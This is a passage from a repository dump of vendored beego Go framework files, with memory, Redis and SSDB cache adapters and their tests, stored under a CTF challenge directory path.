{\n\t\tt.Error(\"init err\")\n\t}\n\ttimeoutDuration := 10 * time.Second\n\tif err = bm.Put(\"astaxie\", \"1\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\ttime.Sleep(11 * time.Second)\n\n\tif bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\tif err = bm.Put(\"astaxie\", \"1\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\n\tif v, err := strconv.Atoi(string(bm.Get(\"astaxie\").([]byte))); err != nil || v != 1 {\n\t\tt.Error(\"get err\")\n\t}\n\n\tif err = bm.Incr(\"astaxie\"); err != nil {\n\t\tt.Error(\"Incr Error\", err)\n\t}\n\n\tif v, err := strconv.Atoi(string(bm.Get(\"astaxie\").([]byte))); err != nil || v != 2 {\n\t\tt.Error(\"get err\")\n\t}\n\n\tif err = bm.Decr(\"astaxie\"); err != nil {\n\t\tt.Error(\"Decr Error\", err)\n\t}\n\n\tif v, err := strconv.Atoi(string(bm.Get(\"astaxie\").([]byte))); err != nil || v != 1 {\n\t\tt.Error(\"get err\")\n\t}\n\tbm.Delete(\"astaxie\")\n\tif bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"delete err\")\n\t}\n\n\t//test string\n\tif err = bm.Put(\"astaxie\", \"author\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\tif v := bm.Get(\"astaxie\").([]byte); string(v) != \"author\" {\n\t\tt.Error(\"get err\")\n\t}\n\n\t//test GetMulti\n\tif err = bm.Put(\"astaxie1\", \"author1\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie1\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\tvv := bm.GetMulti([]string{\"astaxie\", \"astaxie1\"})\n\tif len(vv) != 2 {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\tif string(vv[0].([]byte)) != \"author\" && string(vv[0].([]byte)) != \"author1\" {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\tif string(vv[1].([]byte)) != \"author1\" && string(vv[1].([]byte)) != \"author\" {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\n\t// test clear all\n\tif err = bm.ClearAll(); err != nil {\n\t\tt.Error(\"clear all err\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/memory.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage cache\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"sync\"\n\t\"time\"\n)\n\nvar (\n\t// DefaultEvery means the clock time of recycling the expired cache items in memory.\n\tDefaultEvery = 60 // 1 minute\n)\n\n// MemoryItem store memory cache item.\ntype MemoryItem struct {\n\tval         interface{}\n\tcreatedTime time.Time\n\tlifespan    time.Duration\n}\n\nfunc (mi *MemoryItem) isExpire() bool {\n\t// 0 means forever\n\tif mi.lifespan == 0 {\n\t\treturn false\n\t}\n\treturn time.Now().Sub(mi.createdTime) > mi.lifespan\n}\n\n// MemoryCache is Memory cache adapter.\n// it contains a RW locker for safe map storage.\ntype MemoryCache struct {\n\tsync.RWMutex\n\tdur   time.Duration\n\titems map[string]*MemoryItem\n\tEvery int // run an expiration check Every clock time\n}\n\n// NewMemoryCache returns a new MemoryCache.\nfunc NewMemoryCache() Cache {\n\tcache := MemoryCache{items: make(map[string]*MemoryItem)}\n\treturn &cache\n}\n\n// Get cache from memory.\n// if non-existed or expired, return nil.\nfunc (bc *MemoryCache) Get(name string) interface{} {\n\tbc.RLock()\n\tdefer bc.RUnlock()\n\tif itm, ok := bc.items[name]; ok {\n\t\tif itm.isExpire() {\n\t\t\treturn nil\n\t\t}\n\t\treturn itm.val\n\t}\n\treturn nil\n}\n\n// GetMulti gets caches from memory.\n// if non-existed or expired, return nil.\nfunc (bc *MemoryCache) GetMulti(names []string) []interface{} {\n\tvar rc []interface{}\n\tfor _, name := range names {\n\t\trc = append(rc, bc.Get(name))\n\t}\n\treturn rc\n}\n\n// Put cache to memory.\n// if lifespan is 0, it will be forever till restart.\nfunc (bc *MemoryCache) Put(name string, value interface{}, lifespan time.Duration) error {\n\tbc.Lock()\n\tdefer bc.Unlock()\n\tbc.items[name] = &MemoryItem{\n\t\tval:         value,\n\t\tcreatedTime: time.Now(),\n\t\tlifespan:    lifespan,\n\t}\n\treturn nil\n}\n\n// Delete cache in memory.\nfunc (bc *MemoryCache) Delete(name string) error {\n\tbc.Lock()\n\tdefer bc.Unlock()\n\tif _, ok := bc.items[name]; !ok {\n\t\treturn errors.New(\"key not exist\")\n\t}\n\tdelete(bc.items, name)\n\tif _, ok := bc.items[name]; ok {\n\t\treturn errors.New(\"delete key error\")\n\t}\n\treturn nil\n}\n\n// Incr increase cache counter in memory.\n// it supports int,int32,int64,uint,uint32,uint64.\nfunc (bc *MemoryCache) Incr(key string) error {\n\tbc.RLock()\n\tdefer bc.RUnlock()\n\titm, ok := bc.items[key]\n\tif !ok {\n\t\treturn errors.New(\"key not exist\")\n\t}\n\tswitch itm.val.(type) {\n\tcase int:\n\t\titm.val = itm.val.(int) + 1\n\tcase int32:\n\t\titm.val = itm.val.(int32) + 1\n\tcase int64:\n\t\titm.val = itm.val.(int64) + 1\n\tcase uint:\n\t\titm.val = itm.val.(uint) + 1\n\tcase uint32:\n\t\titm.val = itm.val.(uint32) + 1\n\tcase uint64:\n\t\titm.val = itm.val.(uint64) + 1\n\tdefault:\n\t\treturn errors.New(\"item val is not (u)int (u)int32 (u)int64\")\n\t}\n\treturn nil\n}\n\n// Decr decrease counter in memory.\nfunc (bc *MemoryCache) Decr(key string) error {\n\tbc.RLock()\n\tdefer bc.RUnlock()\n\titm, ok := bc.items[key]\n\tif !ok {\n\t\treturn errors.New(\"key not exist\")\n\t}\n\tswitch itm.val.(type) {\n\tcase int:\n\t\titm.val = itm.val.(int) - 1\n\tcase int64:\n\t\titm.val = itm.val.(int64) - 1\n\tcase int32:\n\t\titm.val = itm.val.(int32) - 1\n\tcase uint:\n\t\tif itm.val.(uint) > 0 {\n\t\t\titm.val = itm.val.(uint) - 1\n\t\t} else {\n\t\t\treturn errors.New(\"item val is less than 0\")\n\t\t}\n\tcase uint32:\n\t\tif itm.val.(uint32) > 0 {\n\t\t\titm.val = itm.val.(uint32) - 1\n\t\t} else {\n\t\t\treturn errors.New(\"item val is less than 0\")\n\t\t}\n\tcase uint64:\n\t\tif itm.val.(uint64) > 0 {\n\t\t\titm.val = itm.val.(uint64) - 1\n\t\t} else {\n\t\t\treturn errors.New(\"item val is less than 0\")\n\t\t}\n\tdefault:\n\t\treturn errors.New(\"item val is not int int64 int32\")\n\t}\n\treturn nil\n}\n\n// IsExist check cache exist in memory.\nfunc (bc *MemoryCache) IsExist(name string) bool {\n\tbc.RLock()\n\tdefer bc.RUnlock()\n\tif v, ok := bc.items[name]; ok {\n\t\treturn !v.isExpire()\n\t}\n\treturn false\n}\n\n// ClearAll will delete all cache in memory.\nfunc (bc *MemoryCache) ClearAll() error {\n\tbc.Lock()\n\tdefer bc.Unlock()\n\tbc.items = make(map[string]*MemoryItem)\n\treturn nil\n}\n\n// StartAndGC start memory cache. it will check expiration in every clock time.\nfunc (bc *MemoryCache) StartAndGC(config string) error {\n\tvar cf map[string]int\n\tjson.Unmarshal([]byte(config), &cf)\n\tif _, ok := cf[\"interval\"]; !ok {\n\t\tcf = make(map[string]int)\n\t\tcf[\"interval\"] = DefaultEvery\n\t}\n\tdur := time.Duration(cf[\"interval\"]) * time.Second\n\tbc.Every = cf[\"interval\"]\n\tbc.dur = dur\n\tgo bc.vaccuum()\n\treturn nil\n}\n\n// check expiration.\nfunc (bc *MemoryCache) vaccuum() {\n\tif bc.Every < 1 {\n\t\treturn\n\t}\n\tfor {\n\t\t<-time.After(bc.dur)\n\t\tif bc.items == nil {\n\t\t\treturn\n\t\t}\n\t\tif keys := bc.expiredKeys(); len(keys) != 0 {\n\t\t\tbc.clearItems(keys)\n\t\t}\n\t}\n}\n\n// expiredKeys returns key list which are expired.\nfunc (bc *MemoryCache) expiredKeys() (keys []string) {\n\tbc.RLock()\n\tdefer bc.RUnlock()\n\tfor key, itm := range bc.items {\n\t\tif itm.isExpire() {\n\t\t\tkeys = append(keys, key)\n\t\t}\n\t}\n\treturn\n}\n\n// clearItems removes all the items which key in keys.\nfunc (bc *MemoryCache) clearItems(keys []string) {\n\tbc.Lock()\n\tdefer bc.Unlock()\n\tfor _, key := range keys {\n\t\tdelete(bc.items, key)\n\t}\n}\n\nfunc init() {\n\tRegister(\"memory\", NewMemoryCache)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/redis/redis.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package redis for cache provider\n//\n// depend on github.com/garyburd/redigo/redis\n//\n// go install github.com/garyburd/redigo/redis\n//\n// Usage:\n// import(\n//   _ \"github.com/astaxie/beego/cache/redis\"\n//   \"github.com/astaxie/beego/cache\"\n// )\n//\n//  bm, err := cache.NewCache(\"redis\", `{\"conn\":\"127.0.0.1:11211\"}`)\n//\n//  more docs http://beego.me/docs/module/cache.md\npackage redis\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/garyburd/redigo/redis\"\n\n\t\"github.com/astaxie/beego/cache\"\n)\n\nvar (\n\t// DefaultKey the collection name of redis for cache adapter.\n\tDefaultKey = \"beecacheRedis\"\n)\n\n// Cache is Redis cache adapter.\ntype Cache struct {\n\tp        *redis.Pool // redis connection pool\n\tconninfo string\n\tdbNum    int\n\tkey      string\n\tpassword string\n}\n\n// NewRedisCache create new redis cache with default collection name.\nfunc NewRedisCache() cache.Cache {\n\treturn &Cache{key: DefaultKey}\n}\n\n// actually do the redis cmds, args[0] must be the key name.\nfunc (rc *Cache) do(commandName string, args ...interface{}) (reply interface{}, err error) {\n\tif len(args) < 1 {\n\t\treturn nil, errors.New(\"missing required arguments\")\n\t}\n\targs[0] = rc.associate(args[0])\n\tc := rc.p.Get()\n\tdefer c.Close()\n\n\treturn c.Do(commandName, args...)\n}\n\n// associate with config key.\nfunc (rc *Cache) associate(originKey interface{}) string {\n\treturn fmt.Sprintf(\"%s:%s\", rc.key, originKey)\n}\n\n// Get cache from redis.\nfunc (rc *Cache) Get(key string) interface{} {\n\tif v, err := rc.do(\"GET\", key); err == nil {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// GetMulti get cache from redis.\nfunc (rc *Cache) GetMulti(keys []string) []interface{} {\n\tc := rc.p.Get()\n\tdefer c.Close()\n\tvar args []interface{}\n\tfor _, key := range keys {\n\t\targs = append(args, rc.associate(key))\n\t}\n\tvalues, err := redis.Values(c.Do(\"MGET\", args...))\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn values\n}\n\n// Put put cache to redis.\nfunc (rc *Cache) Put(key string, val interface{}, timeout time.Duration) error {\n\t_, err := rc.do(\"SETEX\", key, int64(timeout/time.Second), val)\n\treturn err\n}\n\n// Delete delete cache in redis.\nfunc (rc *Cache) Delete(key string) error {\n\t_, err := rc.do(\"DEL\", key)\n\treturn err\n}\n\n// IsExist check cache's existence in redis.\nfunc (rc *Cache) IsExist(key string) bool {\n\tv, err := redis.Bool(rc.do(\"EXISTS\", key))\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn v\n}\n\n// Incr increase counter in redis.\nfunc (rc *Cache) Incr(key string) error {\n\t_, err := redis.Bool(rc.do(\"INCRBY\", key, 1))\n\treturn err\n}\n\n// Decr decrease counter in redis.\nfunc (rc *Cache) Decr(key string) error {\n\t_, err := redis.Bool(rc.do(\"INCRBY\", key, -1))\n\treturn err\n}\n\n// ClearAll clean all cache in redis. delete this redis collection.\nfunc (rc *Cache) ClearAll() error {\n\tc := rc.p.Get()\n\tdefer c.Close()\n\tcachedKeys, err := redis.Strings(c.Do(\"KEYS\", rc.key+\":*\"))\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, str := range cachedKeys {\n\t\tif _, err = c.Do(\"DEL\", str); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}\n\n// StartAndGC start redis cache adapter.\n// config is like {\"key\":\"collection key\",\"conn\":\"connection info\",\"dbNum\":\"0\"}\n// the cache item in redis are stored forever,\n// so no gc operation.\nfunc (rc *Cache) StartAndGC(config string) error {\n\tvar cf map[string]string\n\tjson.Unmarshal([]byte(config), &cf)\n\n\tif _, ok := cf[\"key\"]; !ok {\n\t\tcf[\"key\"] = DefaultKey\n\t}\n\tif _, ok := cf[\"conn\"]; !ok {\n\t\treturn errors.New(\"config has no conn key\")\n\t}\n\tif _, ok := cf[\"dbNum\"]; !ok {\n\t\tcf[\"dbNum\"] = \"0\"\n\t}\n\tif _, ok := cf[\"password\"]; !ok {\n\t\tcf[\"password\"] = \"\"\n\t}\n\trc.key = cf[\"key\"]\n\trc.conninfo = cf[\"conn\"]\n\trc.dbNum, _ = strconv.Atoi(cf[\"dbNum\"])\n\trc.password = cf[\"password\"]\n\n\trc.connectInit()\n\n\tc := rc.p.Get()\n\tdefer c.Close()\n\n\treturn c.Err()\n}\n\n// connect to redis.\nfunc (rc *Cache) connectInit() {\n\tdialFunc := func() (c redis.Conn, err error) {\n\t\tc, err = redis.Dial(\"tcp\", rc.conninfo)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif rc.password != \"\" {\n\t\t\tif _, err := c.Do(\"AUTH\", rc.password); err != nil {\n\t\t\t\tc.Close()\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\t_, selecterr := c.Do(\"SELECT\", rc.dbNum)\n\t\tif selecterr != nil {\n\t\t\tc.Close()\n\t\t\treturn nil, selecterr\n\t\t}\n\t\treturn\n\t}\n\t// initialize a new pool\n\trc.p = &redis.Pool{\n\t\tMaxIdle:     3,\n\t\tIdleTimeout: 180 * time.Second,\n\t\tDial:        dialFunc,\n\t}\n}\n\nfunc init() {\n\tcache.Register(\"redis\", NewRedisCache)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/redis/redis_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage redis\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/cache\"\n\t\"github.com/garyburd/redigo/redis\"\n)\n\nfunc TestRedisCache(t *testing.T) {\n\tbm, err := cache.NewCache(\"redis\", `{\"conn\": \"127.0.0.1:6379\"}`)\n\tif err != nil {\n\t\tt.Error(\"init err\")\n\t}\n\ttimeoutDuration := 10 * time.Second\n\tif err = bm.Put(\"astaxie\", 1, timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\ttime.Sleep(11 * time.Second)\n\n\tif bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\tif err = bm.Put(\"astaxie\", 1, timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\n\tif v, _ := redis.Int(bm.Get(\"astaxie\"), err); v != 1 {\n\t\tt.Error(\"get err\")\n\t}\n\n\tif err = bm.Incr(\"astaxie\"); err != nil {\n\t\tt.Error(\"Incr Error\", err)\n\t}\n\n\tif v, _ := redis.Int(bm.Get(\"astaxie\"), err); v != 2 {\n\t\tt.Error(\"get err\")\n\t}\n\n\tif err = bm.Decr(\"astaxie\"); err != nil {\n\t\tt.Error(\"Decr Error\", err)\n\t}\n\n\tif v, _ := redis.Int(bm.Get(\"astaxie\"), err); v != 1 {\n\t\tt.Error(\"get err\")\n\t}\n\tbm.Delete(\"astaxie\")\n\tif bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"delete err\")\n\t}\n\n\t//test string\n\tif err = bm.Put(\"astaxie\", \"author\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\tif v, _ := redis.String(bm.Get(\"astaxie\"), err); v != \"author\" {\n\t\tt.Error(\"get err\")\n\t}\n\n\t//test GetMulti\n\tif err = bm.Put(\"astaxie1\", \"author1\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !bm.IsExist(\"astaxie1\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\tvv := bm.GetMulti([]string{\"astaxie\", \"astaxie1\"})\n\tif len(vv) != 2 {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\tif v, _ := redis.String(vv[0], nil); v != \"author\" {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\tif v, _ := redis.String(vv[1], nil); v != \"author1\" {\n\t\tt.Error(\"GetMulti ERROR\")\n\t}\n\n\t// test clear all\n\tif err = bm.ClearAll(); err != nil {\n\t\tt.Error(\"clear all err\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/ssdb/ssdb.go",
    "content": "package ssdb\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/ssdb/gossdb/ssdb\"\n\n\t\"github.com/astaxie/beego/cache\"\n)\n\n// Cache SSDB adapter\ntype Cache struct {\n\tconn     *ssdb.Client\n\tconninfo []string\n}\n\n//NewSsdbCache create new ssdb adapter.\nfunc NewSsdbCache() cache.Cache {\n\treturn &Cache{}\n}\n\n// Get get value from memcache.\nfunc (rc *Cache) Get(key string) interface{} {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\tvalue, err := rc.conn.Get(key)\n\tif err == nil {\n\t\treturn value\n\t}\n\treturn nil\n}\n\n// GetMulti get value from memcache.\nfunc (rc *Cache) GetMulti(keys []string) []interface{} {\n\tsize := len(keys)\n\tvar values []interface{}\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\tfor i := 0; i < size; i++ {\n\t\t\t\tvalues = append(values, err)\n\t\t\t}\n\t\t\treturn values\n\t\t}\n\t}\n\tres, err := rc.conn.Do(\"multi_get\", keys)\n\tresSize := len(res)\n\tif err == nil {\n\t\tfor i := 1; i < resSize; i += 2 {\n\t\t\tvalues = append(values, res[i+1])\n\t\t}\n\t\treturn values\n\t}\n\tfor i := 0; i < size; i++ {\n\t\tvalues = append(values, err)\n\t}\n\treturn values\n}\n\n// DelMulti get value from memcache.\nfunc (rc *Cache) DelMulti(keys []string) error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t_, err := rc.conn.Do(\"multi_del\", keys)\n\treturn err\n}\n\n// Put put value to memcache. only support string.\nfunc (rc *Cache) Put(key string, value interface{}, timeout time.Duration) error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tv, ok := value.(string)\n\tif !ok {\n\t\treturn errors.New(\"value must string\")\n\t}\n\tvar resp []string\n\tvar err error\n\tttl := int(timeout / time.Second)\n\tif ttl < 0 {\n\t\tresp, err = rc.conn.Do(\"set\", key, v)\n\t} else {\n\t\tresp, err = rc.conn.Do(\"setx\", key, v, ttl)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(resp) == 2 && resp[0] == \"ok\" {\n\t\treturn nil\n\t}\n\treturn errors.New(\"bad response\")\n}\n\n// Delete delete value in memcache.\nfunc (rc *Cache) Delete(key string) error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t_, err := rc.conn.Del(key)\n\treturn err\n}\n\n// Incr increase counter.\nfunc (rc *Cache) Incr(key string) error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t_, err := rc.conn.Do(\"incr\", key, 1)\n\treturn err\n}\n\n// Decr decrease counter.\nfunc (rc *Cache) Decr(key string) error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t_, err := rc.conn.Do(\"incr\", key, -1)\n\treturn err\n}\n\n// IsExist check value exists in memcache.\nfunc (rc *Cache) IsExist(key string) bool {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn false\n\t\t}\n\t}\n\tresp, err := rc.conn.Do(\"exists\", key)\n\tif err != nil {\n\t\treturn false\n\t}\n\tif len(resp) == 2 && resp[1] == \"1\" {\n\t\treturn true\n\t}\n\treturn false\n\n}\n\n// ClearAll clear all cached in memcache.\nfunc (rc *Cache) ClearAll() error {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tkeyStart, keyEnd, limit := \"\", \"\", 50\n\tresp, err := rc.Scan(keyStart, keyEnd, limit)\n\tfor err == nil {\n\t\tsize := len(resp)\n\t\tif size == 1 {\n\t\t\treturn nil\n\t\t}\n\t\tkeys := []string{}\n\t\tfor i := 1; i < size; i += 2 {\n\t\t\tkeys = append(keys, resp[i])\n\t\t}\n\t\t_, e := rc.conn.Do(\"multi_del\", keys)\n\t\tif e != nil {\n\t\t\treturn e\n\t\t}\n\t\tkeyStart = resp[size-2]\n\t\tresp, err = rc.Scan(keyStart, keyEnd, limit)\n\t}\n\treturn err\n}\n\n// Scan key all cached in ssdb.\nfunc (rc *Cache) Scan(keyStart string, keyEnd string, limit int) ([]string, error) {\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tresp, err := rc.conn.Do(\"scan\", keyStart, keyEnd, limit)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}\n\n// StartAndGC start memcache adapter.\n// config string is like {\"conn\":\"connection info\"}.\n// if connecting error, return.\nfunc (rc *Cache) StartAndGC(config string) error {\n\tvar cf map[string]string\n\tjson.Unmarshal([]byte(config), &cf)\n\tif _, ok := cf[\"conn\"]; !ok {\n\t\treturn errors.New(\"config has no conn key\")\n\t}\n\trc.conninfo = strings.Split(cf[\"conn\"], \";\")\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// connect to memcache and keep the connection.\nfunc (rc *Cache) connectInit() error {\n\tconninfoArray := strings.Split(rc.conninfo[0], \":\")\n\thost := conninfoArray[0]\n\tport, e := strconv.Atoi(conninfoArray[1])\n\tif e != nil {\n\t\treturn e\n\t}\n\tvar err error\n\trc.conn, err = ssdb.Connect(host, port)\n\treturn err\n}\n\nfunc init() {\n\tcache.Register(\"ssdb\", NewSsdbCache)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/cache/ssdb/ssdb_test.go",
    "content": "package ssdb\n\nimport (\n\t\"strconv\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/cache\"\n)\n\nfunc TestSsdbcacheCache(t *testing.T) {\n\tssdb, err := cache.NewCache(\"ssdb\", `{\"conn\": \"127.0.0.1:8888\"}`)\n\tif err != nil {\n\t\tt.Error(\"init err\")\n\t}\n\n\t// test put and exist\n\tif ssdb.IsExist(\"ssdb\") {\n\t\tt.Error(\"check err\")\n\t}\n\ttimeoutDuration := 10 * time.Second\n\t//timeoutDuration := -10*time.Second   if timeoutDuration is negtive,it means permanent\n\tif err = ssdb.Put(\"ssdb\", \"ssdb\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !ssdb.IsExist(\"ssdb\") {\n\t\tt.Error(\"check err\")\n\t}\n\n\t// Get test done\n\tif err = ssdb.Put(\"ssdb\", \"ssdb\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\n\tif v := ssdb.Get(\"ssdb\"); v != \"ssdb\" {\n\t\tt.Error(\"get Error\")\n\t}\n\n\t//inc/dec test done\n\tif err = ssdb.Put(\"ssdb\", \"2\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif err = ssdb.Incr(\"ssdb\"); err != nil {\n\t\tt.Error(\"incr Error\", err)\n\t}\n\n\tif v, err := strconv.Atoi(ssdb.Get(\"ssdb\").(string)); err != nil || v != 3 {\n\t\tt.Error(\"get err\")\n\t}\n\n\tif err = ssdb.Decr(\"ssdb\"); err != nil {\n\t\tt.Error(\"decr error\")\n\t}\n\n\t// test del\n\tif err = ssdb.Put(\"ssdb\", \"3\", timeoutDuration); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif v, err := strconv.Atoi(ssdb.Get(\"ssdb\").(string)); err != nil || v != 3 {\n\t\tt.Error(\"get err\")\n\t}\n\tif err := ssdb.Delete(\"ssdb\"); err == nil {\n\t\tif ssdb.IsExist(\"ssdb\") {\n\t\t\tt.Error(\"delete err\")\n\t\t}\n\t}\n\n\t//test string\n\tif err = ssdb.Put(\"ssdb\", \"ssdb\", -10*time.Second); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !ssdb.IsExist(\"ssdb\") {\n\t\tt.Error(\"check err\")\n\t}\n\tif v := ssdb.Get(\"ssdb\").(string); v != \"ssdb\" {\n\t\tt.Error(\"get err\")\n\t}\n\n\t//test GetMulti done\n\tif err = ssdb.Put(\"ssdb1\", \"ssdb1\", -10*time.Second); err != nil {\n\t\tt.Error(\"set Error\", err)\n\t}\n\tif !ssdb.IsExist(\"ssdb1\") {\n\t\tt.Error(\"check err\")\n\t}\n\tvv := ssdb.GetMulti([]string{\"ssdb\", \"ssdb1\"})\n\tif len(vv) != 2 {\n\t\tt.Error(\"getmulti error\")\n\t}\n\tif vv[0].(string) != \"ssdb\" {\n\t\tt.Error(\"getmulti error\")\n\t}\n\tif vv[1].(string) != \"ssdb1\" {\n\t\tt.Error(\"getmulti error\")\n\t}\n\n\t// test clear all done\n\tif err = ssdb.ClearAll(); err != nil {\n\t\tt.Error(\"clear all err\")\n\t}\n\tif ssdb.IsExist(\"ssdb\") || ssdb.IsExist(\"ssdb1\") {\n\t\tt.Error(\"check err\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/config.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package config is used to parse config.\n// Usage:\n//  import \"github.com/astaxie/beego/config\"\n//Examples.\n//\n//  cnf, err := config.NewConfig(\"ini\", \"config.conf\")\n//\n//  cnf APIS:\n//\n//  cnf.Set(key, val string) error\n//  cnf.String(key string) string\n//  cnf.Strings(key string) []string\n//  cnf.Int(key string) (int, error)\n//  cnf.Int64(key string) (int64, error)\n//  cnf.Bool(key string) (bool, error)\n//  cnf.Float(key string) (float64, error)\n//  cnf.DefaultString(key string, defaultVal string) string\n//  cnf.DefaultStrings(key string, defaultVal []string) []string\n//  cnf.DefaultInt(key string, defaultVal int) int\n//  cnf.DefaultInt64(key string, defaultVal int64) int64\n//  cnf.DefaultBool(key string, defaultVal bool) bool\n//  cnf.DefaultFloat(key string, defaultVal float64) float64\n//  cnf.DIY(key string) (interface{}, error)\n//  cnf.GetSection(section string) (map[string]string, error)\n//  cnf.SaveConfigFile(filename string) error\n//More docs http://beego.me/docs/module/config.md\npackage config\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"reflect\"\n\t\"time\"\n)\n\n// Configer defines how to get and set value from configuration raw 